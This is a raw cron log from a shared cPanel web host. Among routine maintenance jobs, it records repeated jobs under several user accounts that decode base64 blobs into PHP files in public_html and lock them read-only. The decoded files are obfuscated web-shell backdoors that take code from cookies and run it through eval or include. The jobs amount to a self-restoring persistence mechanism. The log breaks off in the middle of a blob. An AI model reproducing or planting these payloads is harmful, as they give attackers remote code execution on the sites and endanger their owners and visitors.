"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:14:01 medusa CROND[16898]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:14:01 medusa CROND[16899]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:14:01 medusa CROND[16902]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:14:01 medusa CROND[16906]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:15:01 medusa CROND[6761]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 04:15:01 medusa CROND[6766]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 04:15:01 medusa CROND[6861]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:15:01 medusa CROND[6862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 04:15:01 medusa CROND[6863]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 04:15:01 medusa CROND[6865]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 04:15:01 medusa CROND[6867]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 04:15:01 medusa CROND[6868]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 04:15:01 medusa CROND[6870]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:15:01 medusa CROND[6872]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:15:01 medusa CROND[6874]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:15:01 medusa CROND[6873]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 04:15:01 medusa CROND[6869]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:15:01 medusa CROND[6876]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:15:01 medusa CROND[6879]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 04:15:01 medusa CROND[6880]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:15:01 medusa CROND[6887]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 04:15:01 medusa CROND[6889]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:15:01 medusa CROND[6891]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:15:01 medusa CROND[6877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:15:01 medusa CROND[6899]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 04:15:01 medusa CROND[6897]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  1 04:15:01 medusa CROND[6894]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 04:15:01 medusa CROND[6906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:16:02 medusa CROND[29354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:16:02 medusa CROND[29426]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 04:16:02 medusa CROND[29427]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 04:16:02 medusa CROND[29429]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:16:02 medusa CROND[29430]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:16:02 medusa CROND[29431]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:16:02 medusa CROND[29441]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:16:02 medusa CROND[29442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:16:02 medusa CROND[29443]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:16:02 medusa CROND[29444]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAg